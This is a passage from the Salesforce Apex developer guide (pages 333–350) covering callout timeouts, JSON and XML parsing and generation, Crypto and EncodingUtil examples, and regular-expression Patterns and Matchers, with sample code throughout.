  • 333. Integration and Apex Utilities • • • • JSON Support The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and the maximum is 120,000 milliseconds. See the examples in the next section for how to set custom timeouts for Web services or HTTP callouts. The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all callouts invoked by the Apex transaction. You can’t make a callout when there are pending operations in the same transaction. Things that result in pending operations are DML statements, asynchronous Apex (such as future methods and batch Apex jobs), scheduled Apex, or sending email. You can make callouts before performing these types of operations. Pending operations can occur before mock callouts in the same transaction. See Performing DML Operations and Mock Callouts for WSDL-based callouts or Performing DML Operations and Mock Callouts for HTTP callouts. Setting Callout Timeouts The following example sets a custom timeout for Web services callouts. The example works with the sample WSDL file and the generated DocSamplePort class described in Understanding the Generated Code on page 292. Set the timeout value in milliseconds by assigning a value to the special timeout_x variable on the stub. docSample.DocSamplePort stub = new docSample.DocSamplePort(); stub.timeout_x = 2000; // timeout in milliseconds The following is an example of setting a custom timeout for HTTP callouts: HttpRequest req = new HttpRequest(); req.setTimeout(2000); // timeout in milliseconds JSON Support JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization of serialized JSON content. Apex provides a set of classes that expose methods for JSON serialization and deserialization. The following table describes the classes available. Class Description System.JSON Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the serialize method in this class. System.JSONGenerator Contains methods used to serialize objects into JSON content using the standard JSON encoding. System.JSONParser Represents a parser for JSON-encoded content. The System.JSONToken enumeration contains the tokens used for JSON parsing. Methods in these classes throw a JSONException if an issue is encountered during execution. JSON Support Considerations • JSON serialization and deserialization support is available for sObjects (standard objects and custom objects), Apex primitive and collection types, return types of Database methods (such as SaveResult, DeleteResult, and so on), and instances of your Apex classes. 309
  • 334. Integration and Apex Utilities Roundtrip Serialization and Deserialization Only custom objects, which are sObject types, of managed packages can be serialized from code that is external to the managed package. Objects that are instances of Apex classes defined in the managed package can't be serialized. Deserialized Map objects whose keys are not strings won't match their corresponding Map objects before serialization. Key values are converted into strings during serialization and will, when deserialized, change their type. For example, a Map<Object, sObject> will become a Map<String, sObject>. When an object is declared as the parent type but is set to an instance of the subtype, some data may be lost. The object gets serialized and deserialized as the parent type and any fields that are specific to the subtype are lost. An object that has a reference to itself won’t get serialized and causes a JSONException to be thrown. Reference graphs that reference the same object twice are deserialized and cause multiple copies of the referenced object to be generated. The System.JSONParser data type isn’t serializable. If you have a serializable class, such as a Visualforce controller, that has a member variable of type System.JSONParser and you attempt to create this object, you’ll receive an exception. To use JSONParser in a serializable class, use a local variable instead in your method. • • • • • • Roundtrip Serialization and Deserialization Using the JSON class methods, you can perform roundtrip serialization and deserialization of your JSON content. JSON Generator Using the JSONGenerator class methods, you can generate standard JSON-encoded content. JSON Parsing Using the JSONParser class methods, you can parse JSON-encoded content. Roundtrip Serialization and Deserialization Using the JSON class methods, you can perform roundtrip serialization and deserialization of your JSON content. The JSON class contains methods that enable you to serialize objects into JSON formatted strings. It also contains methods to deserialize JSON strings back into objects. Sample: Serializing and Deserializing a List of Invoices This sample creates a list of InvoiceStatement objects and serializes the list. Next, the serialized JSON string is used to deserialize the list again and the sample verifies that the new list contains the same invoices that were present in the original list. public class JSONRoundTripSample { public class InvoiceStatement { Long invoiceNumber; Datetime statementDate; Decimal totalPrice; public InvoiceStatement(Long i, Datetime dt, Decimal price) { invoiceNumber = i; statementDate = dt; totalPrice = price; } } public static void SerializeRoundtrip() { Datetime dt = Datetime.now(); // Create a few invoices. InvoiceStatement inv1 = new InvoiceStatement(1,Datetime.valueOf(dt),1000); 310
  • 335. Integration and Apex Utilities Roundtrip Serialization and Deserialization InvoiceStatement inv2 = new InvoiceStatement(2,Datetime.valueOf(dt),500); // Add the invoices to a list. List<InvoiceStatement> invoices = new List<InvoiceStatement>(); invoices.add(inv1); invoices.add(inv2); // Serialize the list of InvoiceStatement objects. String JSONString = JSON.serialize(invoices); System.debug('Serialized list of invoices into JSON format: ' + JSONString); // Deserialize the list of invoices from the JSON string. List<InvoiceStatement> deserializedInvoices = (List<InvoiceStatement>)JSON.deserialize(JSONString, List<InvoiceStatement>.class); System.assertEquals(invoices.size(), deserializedInvoices.size()); Integer i=0; for (InvoiceStatement deserializedInvoice :deserializedInvoices) { system.debug('Deserialized:' + deserializedInvoice.invoiceNumber + ',' + deserializedInvoice.statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS') + ', ' + deserializedInvoice.totalPrice); system.debug('Original:' + invoices[i].invoiceNumber + ',' + invoices[i].statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS') + ', ' + invoices[i].totalPrice); i++; } } } JSON Serialization Considerations The following describes differences in behavior for the serialize method. Those differences depend on the Salesforce.com API version of the Apex code saved. Serialization of queried sObject with additional fields set For Apex saved using Salesforce.com API version 27.0 and earlier, if queried sObjects have additional fields set, these fields aren’t included in the serialized JSON string returned by the serialize method. Starting with Apex saved using Salesforce.com API version 28.0, the additional fields are included in the serialized JSON string. This example adds a field to a contact after it has been queried, and then serializes the contact. The assertion statement verifies that the JSON string contains the additional field. This assertion passes for Apex saved using Salesforce.com API version 28.0 and later. Contact con = [SELECT Id, LastName, AccountId FROM Contact LIMIT 1]; // Set additional field con.FirstName = 'Joe'; String jsonstring = Json.serialize(con); System.debug(jsonstring); System.assert(jsonstring.contains('Joe') == true); Serialization of aggregate query result fields For Apex saved using Salesforce.com API version 27.0, results of aggregate queries don’t include the fields in the SELECT statement when serialized using the serialize method. For earlier API versions or for API version 28.0 and later, serialized aggregate query results include all fields in the SELECT statement. This is an example of an aggregate query that returns two fields, the count of ID fields and the account name. String jsonString = JSON.serialize( Database.query('SELECT Count(Id),Account.Name FROM Contact WHERE Account.Name != null GROUP BY Account.Name LIMIT 1')); System.debug(jsonString); 311
  • 336. Integration and Apex Utilities JSON Generator // Expected output in API v 26 and earlier or v28 and later // [{"attributes":{"type":"AggregateResult"},"expr0":2,"Name":"acct1"}] See Also: JSON Class JSON Generator Using the JSONGenerator class methods, you can generate standard JSON-encoded content. You can construct JSON content, element by element, using the standard JSON encoding. To do so, use the methods in the JSONGenerator class. JSONGenerator Sample This example generates a JSON string in pretty print format by using the methods of the JSONGenerator class. The example first adds a number field and a string field, and then adds a field to contain an object field of a list of integers, which gets deserialized properly. Next, it adds the A object into the Object A field, which also gets deserialized. public class JSONGeneratorSample{ public class A { String str; public A(String s) { str = s; } } static void generateJSONContent() { // Create a JSONGenerator object. // Pass true to the constructor for pretty print formatting. JSONGenerator gen = JSON.createGenerator(true); // Create a list of integers to write to the JSON string. List<integer> intlist = new List<integer>(); intlist.add(1); intlist.add(2); intlist.add(3); // Create an object to write to the JSON string. A x = new A('X'); // Write data to the JSON string. gen.writeStartObject(); gen.writeNumberField('abc', 1.21); gen.writeStringField('def', 'xyz'); gen.writeFieldName('ghi'); gen.writeStartObject(); gen.writeObjectField('aaa', intlist); gen.writeEndObject(); gen.writeFieldName('Object A'); gen.writeObject(x); gen.writeEndObject(); // Get the JSON string. String pretty = gen.getAsString(); 312
  • 337. Integration and Apex Utilities JSON Parsing System.assertEquals('{n' + ' "abc" : 1.21,n' + ' "def" : "xyz",n' + ' "ghi" : {n' + ' "aaa" : [ 1, 2, 3 ]n' + ' },n' + ' "Object A" : {n' + ' "str" : "X"n' + ' }n' + '}', pretty); } } See Also: JSONGenerator Class JSON Parsing Using the JSONParser class methods, you can parse JSON-encoded content. Use the JSONParser methods to parse a response that's returned from a call to an external service that is in JSON format, such as a JSON-encoded response of a Web service callout. The following are samples that show how to parse JSON strings. Sample: Parsing a JSON Response from a Web Service Callout This example shows how to parse a JSON-formatted response using JSONParser methods. This example makes a callout to a Web service that returns a response in JSON format. Next, the response is parsed to get all the totalPrice field values and compute the grand total price. Before you can run this sample, you must add the Web service endpoint URL as an authorized remote site in the Salesforce user interface. To do this, log in to Salesforce and from Setup, click Security Controls > Remote Site Settings. public class JSONParserUtil { @future(callout=true) public static void parseJSONResponse() { Http httpProtocol = new Http(); // Create HTTP request to send. HttpRequest request = new HttpRequest(); // Set the endpoint URL. String endpoint = 'http://www.cheenath.com/tutorial/sfdc/sample1/response.php'; request.setEndPoint(endpoint); // Set the HTTP verb to GET. request.setMethod('GET'); // Send the HTTP request and get the response. // The response is in JSON format. HttpResponse response = httpProtocol.send(request); System.debug(response.getBody()); /* The JSON response returned is the following: String s = '{"invoiceList":[' + '{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' + '{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' + '{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' + '"invoiceNumber":1},' + '{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' + '{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' + '{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' + '{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' + ']}'; */ // Parse JSON response to get all the totalPrice field values. JSONParser parser = JSON.createParser(response.getBody()); Double grandTotal = 0.0; 313
  • 338. Integration and Apex Utilities JSON Parsing while (parser.nextToken() != null) { if ((parser.getCurrentToken() == JSONToken.FIELD_NAME) && (parser.getText() == 'totalPrice')) { // Get the value. parser.nextToken(); // Compute the grand total price for all invoices. grandTotal += parser.getDoubleValue(); } } system.debug('Grand total=' + grandTotal); } } Sample: Parsing a JSON String and Deserializing It into Objects This example uses a hardcoded JSON string, which is the same JSON string returned by the callout in the previous example. In this example, the entire string is parsed into Invoice objects using the readValueAs method. It also uses the skipChildren method to skip the child array and child objects and to be able to parse the next sibling invoice in the list. The parsed objects are instances of the Invoice class that is defined as an inner class. Since each invoice contains line items, the class that represents the corresponding line item type, the LineItem class, is also defined as an inner class. Add this sample code to a class to use it. public static void parseJSONString() { String jsonStr = '{"invoiceList":[' + '{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' + '{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' + '{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' + '"invoiceNumber":1},' + '{"totalPrice":11.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' + '{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' + '{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' + '{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' + ']}'; // Parse entire JSON response. JSONParser parser = JSON.createParser(jsonStr); while (parser.nextToken() != null) { // Start at the array of invoices. if (parser.getCurrentToken() == JSONToken.START_ARRAY) { while (parser.nextToken() != null) { // Advance to the start object marker to // find next invoice statement object. if (parser.getCurrentToken() == JSONToken.START_OBJECT) { // Read entire invoice object, including its array of line items. Invoice inv = (Invoice)parser.readValueAs(Invoice.class); system.debug('Invoice number: ' + inv.invoiceNumber); system.debug('Size of list items: ' + inv.lineItems.size()); // For debugging purposes, serialize again to verify what was parsed. String s = JSON.serialize(inv); system.debug('Serialized invoice: ' + s); // Skip the child start array and start object markers. parser.skipChildren(); } } } } } // Inner classes used for serialization by readValuesAs(). public class Invoice { public Double totalPrice; public DateTime statementDate; public Long invoiceNumber; List<LineItem> lineItems; 314
  • 339. Integration and Apex Utilities XML Support public Invoice(Double price, DateTime dt, Long invNumber, List<LineItem> liList) { totalPrice = price; statementDate = dt; invoiceNumber = invNumber; lineItems = liList.clone(); } } public class LineItem { public Double unitPrice; public Double quantity; public String productName; } See Also: JSONParser Class XML Support Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM. This section contains details about XML support. Reading and Writing XML Using Streams Apex provides classes for reading and writing XML content using streams. Reading and Writing XML Using the DOM Apex provides classes that enable you to work with XML content using the DOM (Document Object Model). Reading and Writing XML Using Streams Apex provides classes for reading and writing XML content using streams. The XMLStreamReader class enables you to read XML content and the XMLStreamWriter class enables you to write XML content. Reading XML Using Streams The XMLStreamReader class methods enable forward, read-only access to XML data. Writing XML Using Streams The XmlStreamWriter class methods enable the writing of XML data. Reading XML Using Streams The XMLStreamReader class methods enable forward, read-only access to XML data. Those methods are used in conjunction with HTTP callouts to parse XML data or skip unwanted events. The following example shows how to instantiate a new XmlStreamReader object: String xmlString = '<books><book>My Book</book><book>Your Book</book></books>'; XmlStreamReader xsr = new XmlStreamReader(xmlString); These methods work on the following XML events: 315
  • 340. Integration and Apex Utilities Reading and Writing XML Using Streams An attribute event is specified for a particular element. For example, the element <book> has an attribute title: <book title="Salesforce.com for Dummies">. A start element event is the opening tag for an element, for example <book>. An end element event is the closing tag for an element, for example </book>. A start document event is the opening tag for a document. An end document event is the closing tag for a document. An entity reference is an entity reference in the code, for example !ENTITY title = "My Book Title". A characters event is a text character. A comment event is a comment in the XML file. • • • • • • • • Use the next and hasNext methods to iterate over XML data. Access data in XML using get methods such as the getNamespace method. XmlStreamReader Example The following example processes an XML string. public class XmlStreamReaderDemo { // Create a class Book for processing public class Book { String name; String author; } public Book[] parseBooks(XmlStreamReader reader) { Book[] books = new Book[0]; while(reader.hasNext()) { // Start at the beginning of the book and make sure that it is a book if (reader.getEventType() == XmlTag.START_ELEMENT) { if ('Book' == reader.getLocalName()) { // Pass the book to the parseBook method (below) Book book = parseBook(reader); books.add(book); } } reader.next(); } return books; } // Parse through the XML, determine the author and the characters Book parseBook(XmlStreamReader reader) { Book book = new Book(); book.author = reader.getAttributeValue(null, 'author'); while(reader.hasNext()) { if (reader.getEventType() == XmlTag.END_ELEMENT) { break; } else if (reader.getEventType() == XmlTag.CHARACTERS) { book.name = reader.getText(); } reader.next(); } return book; } } @isTest private class XmlStreamReaderDemoTest { // Test that the XML string contains specific values static testMethod void testBookParser() { XmlStreamReaderDemo demo = new XmlStreamReaderDemo(); 316
  • 341. Integration and Apex Utilities Reading and Writing XML Using Streams String str = '<books><book author="Chatty">Foo bar</book>' + '<book author="Sassy">Baz</book></books>'; XmlStreamReader reader = new XmlStreamReader(str); XmlStreamReaderDemo.Book[] books = demo.parseBooks(reader); System.debug(books.size()); for (XmlStreamReaderDemo.Book book : books) { System.debug(book); } } } See Also: XmlStreamReader Class Writing XML Using Streams The XmlStreamWriter class methods enable the writing of XML data. Those methods are used in conjunction with HTTP callouts to construct an XML document to send in the callout request to an external service. The following example shows how to instantiate a new XmlStreamReader object: String xmlString = '<books><book>My Book</book><book>Your Book</book></books>'; XmlStreamReader xsr = new XmlStreamReader(xmlString); XML Writer Methods Example The following example writes an XML document and tests its validity. Note: The Hello World and the shipping invoice samples require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex code as a managed packaged from Force.com AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation. public class XmlWriterDemo { public String getXml() { XmlStreamWriter w = new XmlStreamWriter(); w.writeStartDocument(null, '1.0'); w.writeProcessingInstruction('target', 'data'); w.writeStartElement('m', 'Library', 'http://www.book.com'); w.writeNamespace('m', 'http://www.book.com'); w.writeComment('Book starts here'); w.setDefaultNamespace('http://www.defns.com'); w.writeCData('<Cdata> I like CData </Cdata>'); w.writeStartElement(null, 'book', null); w.writedefaultNamespace('http://www.defns.com'); w.writeAttribute(null, null, 'author', 'Manoj'); w.writeCharacters('This is my book'); w.writeEndElement(); //end book w.writeEmptyElement(null, 'ISBN', null); w.writeEndElement(); //end library w.writeEndDocument(); String xmlOutput = w.getXmlString(); w.close(); return xmlOutput; 317
  • 342. Integration and Apex Utilities Reading and Writing XML Using the DOM } } @isTest private class XmlWriterDemoTest { static TestMethod void basicTest() { XmlWriterDemo demo = new XmlWriterDemo(); String result = demo.getXml(); String expected = '<?xml version="1.0"?><?target data?>' + '<m:Library xmlns:m="http://www.book.com">' + '<!--Book starts here-->' + '<![CDATA[<Cdata> I like CData </Cdata>]]>' + '<book xmlns="http://www.defns.com" author="Manoj">This is my book</book><ISBN/></m:Library>'; System.assert(result == expected); } } See Also: XmlStreamWriter Class Reading and Writing XML Using the DOM Apex provides classes that enable you to work with XML content using the DOM (Document Object Model). DOM classes help you parse or generate XML content. You can use these classes to work with any XML content. One common application is to use the classes to generate the body of a request created by HttpRequest or to parse a response accessed by HttpResponse. The DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children. The DOM classes are contained in the Dom namespace. Use the Document Class to process the content in the body of the XML document. Use the XmlNode Class to work with a node in the XML document. Use the Document Class class to process XML content. One common application is to use it to create the body of a request for HttpRequest or to parse a response accessed by HttpResponse. XML Namespaces An XML namespace is a collection of names identified by a URI reference and used in XML documents to uniquely identify element types and attribute names. Names in XML namespaces may appear as qualified names, which contain a single colon, separating the name into a namespace prefix and a local part. The prefix, which is mapped to a URI reference, selects a namespace. The combination of the universally managed URI namespace and the document's own namespace produces identifiers that are universally unique. The following XML element has a namespace of http://my.name.space and a prefix of myprefix. <sampleElement xmlns:myprefix="http://my.name.space" /> In the following example, the XML element has two attributes: • • The first attribute has a key of dimension; the value is 2. The second attribute has a key namespace of http://ns1; the value namespace is http://ns2; the key is foo; the value is bar. <square dimension="2" ns1:foo="ns2:bar" xmlns:ns1="http://ns1" xmlns:ns2="http://ns2" /> 318
  • 343. Integration and Apex Utilities Reading and Writing XML Using the DOM Document Example For the purposes of the sample below, assume that the url argument passed into the parseResponseDom method returns this XML response: <address> <name>Kirk Stevens</name> <street1>808 State St</street1> <street2>Apt. 2</street2> <city>Palookaville</city> <state>PA</state> <country>USA</country> </address> The following example illustrates how to use DOM classes to parse the XML response returned in the body of a GET request: public class DomDocument { // Pass in the URL for the request // For the purposes of this sample,assume that the URL // returns the XML shown above in the response body public void parseResponseDom(String url){ Http h = new Http(); HttpRequest req = new HttpRequest(); // url that returns the XML in the response body req.setEndpoint(url); req.setMethod('GET'); HttpResponse res = h.send(req); Dom.Document doc = res.getBodyDocument(); //Retrieve the root element for this document. Dom.XMLNode address = doc.getRootElement(); String name = address.getChildElement('name', null).getText(); String state = address.getChildElement('state', null).getText(); // print out specific elements System.debug('Name: ' + name); System.debug('State: ' + state); // Alternatively, loop through the child elements. // This prints out all the elements of the address for(Dom.XMLNode child : address.getChildElements()) { System.debug(child.getText()); } } } Using XML Nodes Use the XmlNode class to work with a node in an XML document. The DOM represents an XML document as a hierarchy of nodes. Some nodes may be branch nodes and have child nodes, while others are leaf nodes with no children. There are different types of DOM nodes available in Apex. XmlNodeType is an enum of these different types. The values are: • • • COMMENT ELEMENT TEXT It is important to distinguish between elements and nodes in an XML document. The following is a simple XML example: <name> <firstName>Suvain</firstName> <lastName>Singh</lastName> </name> 319
  • 344. Integration and Apex Utilities Reading and Writing XML Using the DOM This example contains three XML elements: name, firstName, and lastName. It contains five nodes: the three name, firstName, and lastName element nodes, as well as two text nodes—Suvain and Singh. Note that the text within an element node is considered to be a separate text node. For more information about the methods shared by all enums, see Enum Methods. XmlNode Example This example shows how to use XmlNode methods and namespaces to create an XML request. public class DomNamespaceSample { public void sendRequest(String endpoint) { // Create the request envelope DOM.Document doc = new DOM.Document(); String soapNS = 'http://schemas.xmlsoap.org/soap/envelope/'; String xsi = 'http://www.w3.org/2001/XMLSchema-instance'; String serviceNS = 'http://www.myservice.com/services/MyService/'; dom.XmlNode envelope = doc.createRootElement('Envelope', soapNS, 'soapenv'); envelope.setNamespace('xsi', xsi); envelope.setAttributeNS('schemaLocation', soapNS, xsi, null); dom.XmlNode body = envelope.addChildElement('Body', soapNS, null); body.addChildElement('echo', serviceNS, 'req'). addChildElement('category', serviceNS, null). addTextNode('classifieds'); System.debug(doc.toXmlString()); // Send the request HttpRequest req = new HttpRequest(); req.setMethod('POST'); req.setEndpoint(endpoint); req.setHeader('Content-Type', 'text/xml'); req.setBodyDocument(doc); Http http = new Http(); HttpResponse res = http.send(req); System.assertEquals(200, res.getStatusCode()); dom.Document resDoc = res.getBodyDocument(); envelope = resDoc.getRootElement(); String wsa = 'http://schemas.xmlsoap.org/ws/2004/08/addressing'; dom.XmlNode header = envelope.getChildElement('Header', soapNS); System.assert(header != null); String messageId = header.getChildElement('MessageID', wsa).getText(); System.debug(messageId); System.debug(resDoc.toXmlString()); System.debug(resDoc); System.debug(header); System.assertEquals( 'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous', header.getChildElement( 320
  • 345. Integration and Apex Utilities Securing Your Data 'ReplyTo', wsa).getChildElement('Address', wsa).getText()); System.assertEquals( envelope.getChildElement('Body', soapNS). getChildElement('echo', serviceNS). getChildElement('something', 'http://something.else'). getChildElement( 'whatever', serviceNS).getAttribute('bb', null), 'cc'); System.assertEquals('classifieds', envelope.getChildElement('Body', soapNS). getChildElement('echo', serviceNS). getChildElement('category', serviceNS).getText()); } } Securing Your Data You can secure your data by using the methods provided by the Crypto class. The methods in the Crypto class provide standard algorithms for creating digests, message authentication codes, and signatures, as well as encrypting and decrypting information. These can be used for securing content in Force.com, or for integrating with external services such as Google or Amazon WebServices (AWS). Example Integrating Amazon WebServices The following example demonstrates an integration of Amazon WebServices with Salesforce: public class HMacAuthCallout { public void testAlexaWSForAmazon() { // The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z' DateTime d = System.now(); String timestamp = ''+ d.year() + '-' + d.month() + '-' + d.day() + ''T'' + d.hour() + ':' + d.minute() + ':' + d.second() + '.' + d.millisecond() + ''Z''; String timeFormat = d.formatGmt(timestamp); String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8'); String action = 'UrlInfo'; String inputStr = action + timeFormat; String algorithmName = 'HMacSHA1'; Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr), Blob.valueOf('your_signing_key')); String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8'); String String String String urlToTest = 'amazon.com'; version = '2005-07-11'; endpoint = 'http://awis.amazonaws.com/'; accessKey = 'your_key'; HttpRequest req = new HttpRequest(); req.setEndpoint(endpoint + '?AWSAccessKeyId=' + accessKey + '&Action=' + action + '&ResponseGroup=Rank&Version=' + version + '&Timestamp=' + urlEncodedTimestamp + '&Url=' + urlToTest + 321
  • 346. Integration and Apex Utilities Securing Your Data '&Signature=' + macUrl); req.setMethod('GET'); Http http = new Http(); try { HttpResponse res = http.send(req); System.debug('STATUS:'+res.getStatus()); System.debug('STATUS_CODE:'+res.getStatusCode()); System.debug('BODY: '+res.getBody()); } catch(System.CalloutException e) { System.debug('ERROR: '+ e); } } } Example Encrypting and Decrypting The following example uses the encryptWithManagedIV and decryptWithManagedIV methods, as well as the generateAesKey method of the Crypto class. // Use generateAesKey to generate the private key Blob cryptoKey = Crypto.generateAesKey(256); // Generate the data to be encrypted. Blob data = Blob.valueOf('Test data to encrypted'); // Encrypt the data and have Salesforce.com generate the initialization vector Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data); // Decrypt the data Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, encryptedData); The following is an example of writing a unit test for the encryptWithManagedIV and decryptWithManagedIV Crypto methods. @isTest private class CryptoTest { static testMethod void testValidDecryption() { // Use generateAesKey to generate the private key Blob key = Crypto.generateAesKey(128); // Generate the data to be encrypted. Blob data = Blob.valueOf('Test data'); // Generate an encrypted form of the data using base64 encoding String b64Data = EncodingUtil.base64Encode(data); // Encrypt and decrypt the data Blob encryptedData = Crypto.encryptWithManagedIV('AES128', key, data); Blob decryptedData = Crypto.decryptWithManagedIV('AES128', key, encryptedData); String b64Decrypted = EncodingUtil.base64Encode(decryptedData); // Verify that the strings still match System.assertEquals(b64Data, b64Decrypted); } static testMethod void testInvalidDecryption() { // Verify that you must use the same key size for encrypting data // Generate two private keys, using different key sizes Blob keyOne = Crypto.generateAesKey(128); Blob keyTwo = Crypto.generateAesKey(256); // Generate the data to be encrypted. Blob data = Blob.valueOf('Test data'); // Encrypt the data using the first key Blob encryptedData = Crypto.encryptWithManagedIV('AES128', keyOne, data); try { // Try decrypting the data using the second key Crypto.decryptWithManagedIV('AES256', keyTwo, encryptedData); System.assert(false); } catch(SecurityException e) { System.assertEquals('Given final block not properly padded', e.getMessage()); 322
  • 347. Integration and Apex Utilities Encoding Your Data } } } See Also: Crypto Class EncodingUtil Class Encoding Your Data You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the EncodingUtil class. This example shows how to URL encode a timestamp value in UTF-8 by calling urlEncode. DateTime d = System.now(); String timestamp = ''+ d.year() + '-' + d.month() + '-' + d.day() + ''T'' + d.hour() + ':' + d.minute() + ':' + d.second() + '.' + d.millisecond() + ''Z''; System.debug(timestamp); String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8'); System.debug(urlEncodedTimestamp); This next example shows how to use convertToHex to compute a client response for HTTP Digest Authentication (RFC2617). @isTest private class SampleTest { static testmethod void testConvertToHex() { String myData = 'A Test String'; Blob hash = Crypto.generateDigest('SHA1',Blob.valueOf(myData)); String hexDigest = EncodingUtil.convertToHex(hash); System.debug(hexDigest); } } See Also: EncodingUtil Class Using Patterns and Matchers Apex provides patterns and matchers that enable you to search text using regular expressions. A pattern is a compiled representation of a regular expression. Patterns are used by matchers to perform match operations on a character string. A regular expression is a string that is used to match another string, using a specific syntax. Apex supports the use of regular expressions through its Pattern and Matcher classes. Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html. 323
  • 348. Integration and Apex Utilities Using Patterns and Matchers Many Matcher objects can share the same Pattern object, as shown in the following illustration: Figure 7: Many Matcher objects can be created from the same Pattern object Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings can be easily imported into your Apex code. Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you reach that limit, you receive a runtime error. All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String split method takes a regular expression that isn't compiled. Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object. All further actions are then performed using the Matcher object. For example: // First, instantiate a new Pattern object "MyPattern" Pattern MyPattern = Pattern.compile('a*b'); // Then instantiate a new Matcher object "MyMatcher" Matcher MyMatcher = MyPattern.matcher('aaaaab'); // You can use the system static method assert to verify the match System.assert(MyMatcher.matches()); If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and match a string against it in a single invocation. For example, the following is equivalent to the code above: Boolean Test = Pattern.matches('a*b', 'aaaaab'); Using Regions Using Match Operations Using Bounds Understanding Capturing Groups Pattern and Matcher Example 324
  • 349. Integration and Apex Utilities Using Regions Using Regions A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always the entirety of the input string. However, you can change the start and end points of a region by using the region method, and you can query the region's end points by using the regionStart and regionEnd methods. The region method requires both a start and an end value. The following table provides examples of how to set one value without setting the other. Start of the Region End of the Region Code Example Specify explicitly Leave unchanged MyMatcher.region(start, MyMatcher.regionEnd()); Leave unchanged Specify explicitly MyMatcher.region(MyMatcher.regionStart(), end); Reset to the default Specify explicitly MyMatcher.region(0, end); Using Match Operations A Matcher object performs match operations on a character sequence by interpreting a Pattern. A Matcher object is instantiated from a Pattern by the Pattern's matcher method. Once created, a Matcher object can be used to perform the following types of match operations: • • • Match the Matcher object's entire input string against the pattern using the matches method Match the Matcher object's input string against the pattern, starting at the beginning but without matching the entire region, using the lookingAt method Scan the Matcher object's input string for the next substring that matches the pattern using the find method Each of these methods returns a Boolean indicating success or failure. After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the following Matcher class methods: • • • end: Once a match is made, this method returns the position in the match string after the last character that was matched. start: Once a match is made, this method returns the position in the string of the first character that was matched. group: Once a match is made, this method returns the subsequence that was matched. Using Bounds By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region boundaries, even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds. If you set useAnchoringBounds to false, the line anchors match only the true ends of the input string. By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent bounds it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input string. You can specify which type of bounds a region has by using the useTransparentBounds method. 325
  • 350. Integration and Apex Utilities Understanding Capturing Groups Suppose you were searching the following string, and your region was only the word “STRING”: This is a concatenated STRING of cats and dogs. If you searched for the word “cat”, you wouldn't receive a match unless you had transparent bounds set. Understanding Capturing Groups During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings are called capturing groups. Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression string ((A)(B(C))), there are four capturing groups: 1. 2. 3. 4. ((A)(B(C))) (A) (B(C)) (C) Group zero always stands for the entire expression. The captured input associated with a group is always the substring of the group most recently matched, that is, that was returned by one of the Matcher class match operations. If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the second evaluation fails. Pattern and Matcher Example The Matcher class end method returns the position in the match string after the last character that was matched. You would use this when you are parsing a string and want to do additional work with it after you have found a match, such as find the next match. In regular expression syntax, ? means match once or not at all, and + means match 1 or more times. In the following example, the string passed in with the Matcher object matches the pattern since (a(b)?) matches the string 'ab' - 'a' followed by 'b' once. It then matches the last 'a' - 'a' followed by 'b' not at all. pattern myPattern = pattern.compile('(a(b)?)+'); matcher myMatcher = 